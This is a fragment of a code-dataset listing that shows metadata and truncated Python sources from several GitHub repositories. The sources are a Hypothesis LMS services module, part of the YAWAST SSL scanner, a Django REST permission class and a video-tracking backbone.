] | 2 | 2018-04-20T02:16:33.000Z | 2020-11-12T20:58:54.000Z | #!/usr/bin/python
#
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | 32.697368 | 78 | 0.703421 |
7988abf88682cd520149b3371fb3d7b0e4573fba | 2,917 | py | Python | lms/services/__init__.py | hypothesis/lms | 722dac444dc1e73298eea5193f871f3ddefe46fd | [
"BSD-2-Clause"
] | 38 | 2017-12-30T23:49:53.000Z | 2022-02-15T21:07:49.000Z | lms/services/__init__.py | hypothesis/lms | 722dac444dc1e73298eea5193f871f3ddefe46fd | [
"BSD-2-Clause"
] | 1,733 | 2017-11-09T18:46:05.000Z | 2022-03-31T11:05:50.000Z | lms/services/__init__.py | hypothesis/lms | 722dac444dc1e73298eea5193f871f3ddefe46fd | [
"BSD-2-Clause"
] | 10 | 2018-07-11T17:12:46.000Z | 2022-01-07T20:00:23.000Z | from lms.services.application_instance import ApplicationInstanceNotFound
from lms.services.canvas import CanvasService
from lms.services.exceptions import (
BlackboardFileNotFoundInCourse,
CanvasAPIError,
CanvasAPIPermissionError,
CanvasAPIServerError,
CanvasFileNotFoundInCourse,
ExternalReques... | 39.418919 | 87 | 0.757628 |
7988ac2bdba6be86334661b5e5625edf829985c3 | 14,969 | py | Python | yawast/scanner/cli/ssl_internal.py | Prodject/yawast | 044309709cf3782de75a35f77297f2d2850d8e1c | [
"BSD-3-Clause"
] | 200 | 2016-02-06T17:14:03.000Z | 2022-03-14T00:50:25.000Z | yawast/scanner/cli/ssl_internal.py | Prodject/yawast | 044309709cf3782de75a35f77297f2d2850d8e1c | [
"BSD-3-Clause"
] | 341 | 2016-02-06T21:53:47.000Z | 2021-09-27T22:40:25.000Z | yawast/scanner/cli/ssl_internal.py | Prodject/yawast | 044309709cf3782de75a35f77297f2d2850d8e1c | [
"BSD-3-Clause"
] | 68 | 2016-02-17T08:10:47.000Z | 2021-05-27T23:26:07.000Z | # Copyright (c) 2013 - 2020 Adam Caudill and Contributors.
# This file is part of YAWAST which is released under the MIT license.
# See the LICENSE file or go to https://yawast.org/license/ for full license details.
from typing import List, cast
from cryptography import x509
from cryptography.hazmat.primitives imp... | 35.056206 | 107 | 0.59336 |
7988ac2ee75030a2e0acdc35d9ae6dea8dcd7f5c | 276 | py | Python | profiles/profiles_api/permissions.py | WJJamshiD/django-rest-1 | 38fc7cb0aa21eb15f15a5a2fca704aecb46ef266 | [
"MIT"
] | null | null | null | profiles/profiles_api/permissions.py | WJJamshiD/django-rest-1 | 38fc7cb0aa21eb15f15a5a2fca704aecb46ef266 | [
"MIT"
] | null | null | null | profiles/profiles_api/permissions.py | WJJamshiD/django-rest-1 | 38fc7cb0aa21eb15f15a5a2fca704aecb46ef266 | [
"MIT"
] | null | null | null | from rest_framework.permissions import BasePermission, SAFE_METHODS
class UpdateOwnProfile(BasePermission):
def has_object_permission(self, request, view, obj):
if request.method in SAFE_METHODS:
return True
return obj.id == request.user.id | 27.6 | 67 | 0.728261 |
7988acdb37129cbc5760ec586b1456b7a7a1339e | 2,441 | py | Python | videoanalyst/model/backbone/backbone_impl/tinyconv.py | ShiAngWang/video_analyst | de4f86363cc408695428b423e8d6e346aa35149b | [
"MIT"
] | 2 | 2021-03-05T09:29:23.000Z | 2021-03-05T09:29:28.000Z | videoanalyst/model/backbone/backbone_impl/tinyconv.py | ShiAngWang/video_analyst | de4f86363cc408695428b423e8d6e346aa35149b | [
"MIT"
] | null | null | null | videoanalyst/model/backbone/backbone_impl/tinyconv.py | ShiAngWang/video_analyst | de4f86363cc408695428b423e8d6e346aa35149b | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*
import torch
import torch.nn as nn
from videoanalyst.model.backbone.backbone_base import (TRACK_BACKBONES,
VOS_BACKBONES)
from videoanalyst.model.common_opr.common_block import conv_bn_relu
from videoanalyst.model.module_base import... | 34.380282 | 80 | 0.526833 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.